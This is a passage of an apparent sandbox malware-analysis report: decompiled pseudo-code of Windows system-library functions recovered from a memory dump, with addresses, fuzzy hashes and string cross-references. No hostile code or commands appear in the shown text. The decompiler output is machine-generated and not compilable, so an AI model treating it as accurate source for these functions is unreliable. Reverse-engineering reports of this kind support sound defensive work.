						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L00DFDEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E00DEB280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												L00DEB7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E00DEE2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E00DEA890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x00dab171
0x00dab171
0x00dab171
0x00dab171
0x00dab171
0x00dab176
0x00dab17b
0x00dab180
0x00dab186
0x00dab18f
0x00dab198
0x00dab1a4
0x00dab1aa
0x00e04802
0x00e04802
0x00e04805
0x00e0480c
0x00e0480e
0x00dab1d1
0x00dab1d3
0x00dab1de
0x00dab1de
0x00e04817
0x00e0481e
0x00e04820
0x00e04822
0x00e04822
0x00e04824
0x00e04824
0x00e0482a
0x00000000
0x00000000
0x00e04835
0x00e0483a
0x00e0483d
0x00e0483f
0x00e04842
0x00e04842
0x00e04842
0x00e04846
0x00e0484c
0x00e0484e
0x00e04851
0x00e04851
0x00e04853
0x00e04854
0x00e04854
0x00e04858
0x00e0485a
0x00e0485a
0x00e0485d
0x00e0485f
0x00e04861
0x00e04861
0x00e04866
0x00e0486b
0x00e0486e
0x00e04871
0x00e04876
0x00e04876
0x00e04878
0x00e0487b
0x00e04884
0x00e04884
0x00000000
0x00e0487d
0x00e0487d
0x00e04882
0x00e04889
0x00e04889
0x00e0488f
0x00e04891
0x00e048e0
0x00e048e2
0x00e048e4
0x00e048e4
0x00e048e7
0x00e048e7
0x00e048ed
0x00e048f4
0x00e048f6
0x00e04951
0x00e04951
0x00e04953
0x00e04953
0x00e04956
0x00e04956
0x00e04958
0x00e04959
0x00e04959
0x00e0495d
0x00e0495d
0x00e0495f
0x00e0495f
0x00e04965
0x00e04969
0x00e049ba
0x00e049ba
0x00e049c1
0x00e049c5
0x00e049cc
0x00e049d4
0x00e049d7
0x00e049da
0x00e049e4
0x00e049e5
0x00e049f3
0x00e04a02
0x00000000
0x00e04a02
0x00e04972
0x00e04974
0x00000000
0x00000000
0x00e04976
0x00e04979
0x00e04982
0x00e04983
0x00e04984
0x00e0498b
0x00e0498d
0x00e04991
0x00e04993
0x00e04999
0x00e0499d
0x00e049a2
0x00e049a2
0x00e049a2
0x00e04999
0x00e049ac
0x00000000
0x00e049b3
0x00e048f8
0x00e048fe
0x00000000
0x00000000
0x00000000
0x00e048fe
0x00e04895
0x00e0489c
0x00e048ad
0x00e048b2
0x00e048b5
0x00e048b7
0x00e048ba
0x00e048bc
0x00e048c6
0x00e048c6
0x00e048cb
0x00e048d1
0x00e048d4
0x00e048d8
0x00e048d8
0x00000000
0x00e048d8
0x00e048be
0x00e048c0
0x00000000
0x00000000
0x00e048c2
0x00000000
0x00000000
0x00000000
0x00e048c4
0x00000000
0x00e04882
0x00e0487b
0x00e04904
0x00e04906
0x00000000
0x00000000
0x00e04908
0x00e0490e
0x00000000
0x00000000
0x00e04910
0x00e04917
0x00e04917
0x00000000
0x00e04917
0x00dab1ba
0x00e047f9
0x00e047fc
0x00000000
0x00000000
0x00000000
0x00e047fc
0x00dab1c0
0x00dab1c0
0x00dab1c3
0x00dab1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 00E048AD

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: 7fd75c996b0b155e770d8183dc8c3bd7be77cb650063bd18dc4b296614a8a333
Instruction ID: 9426f27eb6e5f04f418c45c4f1f547688bfea65404a775c23103bfb45e1f45a1
Opcode Fuzzy Hash: 7fd75c996b0b155e770d8183dc8c3bd7be77cb650063bd18dc4b296614a8a333
Instruction Fuzzy Hash: 8051E4F1D0025A8EDB35DF648A45BBEBBB1FF40314F1081ADE959AB2C1D7704D819BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DDFAB0 Relevance: 1.6, Strings: 1, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00DDFAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					L00DBEEF0(0xe97b60);
					_t134 =  *0xe97b84; // 0x77e07b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0xe97b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0xe97b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = L00DB6D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														L00DB76E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E00E48938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E00DAB150();
													}
													_t116 = L00E46D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E00DB75CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0xe98638; // 0x8761b8
																	_t122 = L00DB38A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			L00DB76E2(_t154);
																			goto L41;
																		}
																	} else {
																		L00DB76E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L00DDFCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L00DB70F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = L00DDFD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = L00DDFD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = L00DDFD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = L00DDFD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = L00DDFD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0xe97b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0xe97b84 = _t75;
						_t73 = E00DBEB70(_t134, 0xe97b60);
						if( *0xe97b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = L00DBFF60( *0xe97b20);
							}
						}
						goto L5;
					}
				}
			}

0x00ddfab0
0x00ddfab2
0x00ddfab3
0x00ddfab4
0x00ddfabc
0x00ddfac0
0x00ddfb14
0x00ddfb17
0x00ddfac2
0x00ddfac8
0x00ddfacd
0x00ddfad3
0x00ddfad3
0x00ddfadd
0x00ddfb18
0x00ddfb1b
0x00ddfb1d
0x00ddfb1e
0x00ddfb1f
0x00ddfb20
0x00ddfb21
0x00ddfb22
0x00ddfb23
0x00ddfb24
0x00ddfb25
0x00ddfb26
0x00ddfb27
0x00ddfb28
0x00ddfb29
0x00ddfb2a
0x00ddfb2b
0x00ddfb2c
0x00ddfb2d
0x00ddfb2e
0x00ddfb2f
0x00ddfb3a
0x00ddfb3b
0x00ddfb3e
0x00ddfb41
0x00ddfb44
0x00ddfb47
0x00ddfb4a
0x00ddfb4d
0x00ddfb53
0x00e1bdcb
0x00e1bdcb
0x00ddfb59
0x00ddfb5b
0x00ddfb5b
0x00ddfb5e
0x00e1bdd5
0x00e1bdd8
0x00000000
0x00e1bdda
0x00000000
0x00e1bdda
0x00ddfb64
0x00ddfb64
0x00ddfb64
0x00ddfb67
0x00ddfb6e
0x00ddfb70
0x00ddfb72
0x00000000
0x00ddfb78
0x00ddfb7a
0x00ddfb7a
0x00ddfb7d
0x00ddfb80
0x00e1bddf
0x00e1bde1
0x00000000
0x00e1bde3
0x00000000
0x00e1bde3
0x00ddfb86
0x00ddfb86
0x00ddfb86
0x00ddfb8b
0x00ddfb90
0x00ddfb92
0x00ddfb94
0x00ddfb9a
0x00ddfb9b
0x00ddfba1
0x00e1bde8
0x00e1bdeb
0x00e1bded
0x00e1beb5
0x00e1beb5
0x00e1bebb
0x00e1bebd
0x00e1bec3
0x00e1bed2
0x00e1bedd
0x00e1bedd
0x00e1beed
0x00000000
0x00e1bdf3
0x00e1bdfe
0x00e1be06
0x00e1be0b
0x00e1be0d
0x00e1be0f
0x00e1be14
0x00e1be19
0x00e1be20
0x00e1be25
0x00e1be27
0x00e1be35
0x00e1be39
0x00e1be46
0x00e1be4f
0x00e1be54
0x00e1be56
0x00e1bef8
0x00e1bef8
0x00000000
0x00e1be5c
0x00e1be5c
0x00e1be60
0x00000000
0x00e1be66
0x00e1be66
0x00e1be7f
0x00e1be84
0x00e1be87
0x00e1be89
0x00e1be8b
0x00e1be99
0x00e1be9d
0x00e1bea0
0x00e1beac
0x00e1beaf
0x00e1beb1
0x00e1beb3
0x00e1beb3
0x00000000
0x00e1bea2
0x00e1bea2
0x00000000
0x00e1bea2
0x00e1be8d
0x00e1be8d
0x00e1be92
0x00000000
0x00e1be92
0x00e1be8b
0x00e1be60
0x00e1be3b
0x00e1be3b
0x00e1be3e
0x00000000
0x00e1be40
0x00e1be40
0x00e1be44
0x00000000
0x00000000
0x00000000
0x00000000
0x00e1be44
0x00e1be3e
0x00e1be29
0x00e1be29
0x00000000
0x00e1be29
0x00e1be27
0x00000000
0x00ddfba7
0x00ddfba7
0x00ddfbab
0x00e1bf02
0x00ddfbb1
0x00ddfbb1
0x00ddfbb8
0x00ddfbbd
0x00ddfbbd
0x00ddfbbf
0x00ddfbbf
0x00ddfbc5
0x00ddfbcb
0x00ddfbf8
0x00ddfbf8
0x00ddfbfa
0x00000000
0x00ddfc00
0x00ddfc00
0x00ddfc03
0x00000000
0x00ddfc09
0x00ddfc09
0x00ddfc0f
0x00ddfc15
0x00ddfc23
0x00ddfc23
0x00ddfc25
0x00ddfc27
0x00ddfc75
0x00ddfc7c
0x00ddfc84
0x00000000
0x00ddfc29
0x00ddfc29
0x00ddfc2d
0x00ddfc30
0x00e1bf0f
0x00000000
0x00ddfc36
0x00ddfc38
0x00ddfc3b
0x00ddfc41
0x00e1bf17
0x00e1bf19
0x00e1bf48
0x00e1bf4b
0x00000000
0x00e1bf1b
0x00e1bf22
0x00e1bf24
0x00e1bf26
0x00000000
0x00e1bf2c
0x00e1bf37
0x00e1bf39
0x00e1bf3b
0x00000000
0x00e1bf41
0x00e1bf41
0x00e1bf41
0x00e1bf41
0x00e1bf45
0x00000000
0x00e1bf45
0x00e1bf3b
0x00e1bf26
0x00000000
0x00ddfc47
0x00ddfc47
0x00ddfc49
0x00ddfcb2
0x00ddfcb4
0x00ddfcb6
0x00ddfcdc
0x00ddfcdc
0x00000000
0x00ddfcb8
0x00ddfcc3
0x00ddfcc5
0x00ddfcc7
0x00000000
0x00ddfcc9
0x00ddfcc9
0x00ddfccd
0x00000000
0x00ddfccd
0x00ddfcc7
0x00000000
0x00ddfc4b
0x00ddfc4b
0x00ddfc4e
0x00ddfc4e
0x00ddfc51
0x00ddfc51
0x00ddfc54
0x00ddfc5a
0x00ddfc5c
0x00ddfc5f
0x00ddfc61
0x00ddfc63
0x00ddfc65
0x00ddfc67
0x00ddfc6e
0x00ddfc72
0x00ddfc72
0x00ddfc72
0x00ddfc72
0x00ddfc67
0x00ddfc61
0x00000000
0x00ddfc5a
0x00ddfc49
0x00ddfc41
0x00ddfc30
0x00ddfc27
0x00ddfc03
0x00ddfbcd
0x00ddfbd3
0x00ddfbd9
0x00ddfbdc
0x00ddfbde
0x00ddfc99
0x00ddfc9b
0x00ddfc9d
0x00ddfcd5
0x00ddfcd5
0x00ddfc89
0x00ddfc89
0x00000000
0x00ddfc9f
0x00ddfc9f
0x00ddfca3
0x00000000
0x00ddfca3
0x00000000
0x00ddfbe4
0x00ddfbe4
0x00ddfbe4
0x00ddfbe4
0x00ddfbe9
0x00ddfbf2
0x00000000
0x00ddfbf2
0x00ddfbde
0x00ddfbcb
0x00ddfbab
0x00ddfc8b
0x00ddfc8b
0x00ddfc8c
0x00ddfb80
0x00ddfb72
0x00ddfb5e
0x00ddfc8d
0x00ddfc91
0x00ddfadf
0x00ddfadf
0x00ddfae1
0x00ddfae4
0x00ddfae7
0x00ddfaec
0x00ddfaf8
0x00ddfb00
0x00ddfb07
0x00ddfb0f
0x00ddfb0f
0x00ddfb07
0x00000000
0x00ddfaf8
0x00ddfadd

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 00E1BE0F

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: ba69415d659c34d19fab7321e05e023e94bda23e50846f3e4140937979e4dff2
Instruction ID: 1b58aa34cb1c52a6023514de4e22087ad5d2f6477cc2692f6f7a45a514d93f6b
Opcode Fuzzy Hash: ba69415d659c34d19fab7321e05e023e94bda23e50846f3e4140937979e4dff2
Instruction Fuzzy Hash: E1A1F131B10609CBDB25DB68C890BAAB3A5EF48714F14457BE847EB790DB30DD458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DDF0BF Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00DDF0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E00DC4120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E00DE9830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E00DE9990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E00DE95D0();
							goto L11;
						} else {
							_t109 = L00DC4620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								E00DEF3E0(_t21, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E00DE95D0();
										L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00ddf0d3
0x00ddf0d9
0x00ddf0e0
0x00ddf0e7
0x00ddf0f2
0x00ddf0f4
0x00ddf0f8
0x00ddf100
0x00ddf108
0x00ddf10d
0x00ddf115
0x00ddf116
0x00ddf11f
0x00ddf123
0x00ddf124
0x00ddf12c
0x00ddf130
0x00ddf134
0x00ddf13d
0x00ddf144
0x00ddf14b
0x00ddf152
0x00e1bab0
0x00e1bab0
0x00ddf158
0x00ddf158
0x00ddf15a
0x00ddf160
0x00ddf165
0x00ddf166
0x00ddf16f
0x00ddf173
0x00e1baa7
0x00e1baa7
0x00e1baab
0x00000000
0x00ddf179
0x00ddf18d
0x00ddf191
0x00e1baa2
0x00000000
0x00ddf197
0x00ddf19b
0x00ddf1a2
0x00ddf1a9
0x00ddf1af
0x00ddf1b2
0x00ddf1b6
0x00ddf1b9
0x00ddf1c4
0x00ddf1d8
0x00ddf1df
0x00ddf1e3
0x00ddf1eb
0x00ddf1ee
0x00ddf1f4
0x00ddf20f
0x00e1bab7
0x00e1babb
0x00e1bacc
0x00e1bad1
0x00ddf215
0x00ddf218
0x00ddf226
0x00ddf22b
0x00000000
0x00ddf22b
0x00ddf1f6
0x00ddf1f6
0x00ddf1f9
0x00ddf1fb
0x00ddf1fb
0x00ddf1f4
0x00ddf191
0x00ddf173
0x00ddf152
0x00ddf203

Strings

@, xrefs: 00DDF124

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: c6b33c8170d654353b48119c81ee13d5c8a4b7fa1ddd02c92bb9463fc4ea287f
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 6A519B72104711AFC321DF29C841A6BBBF8FF48710F00892EF99697691E7B4E944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E23884 Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00E23884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
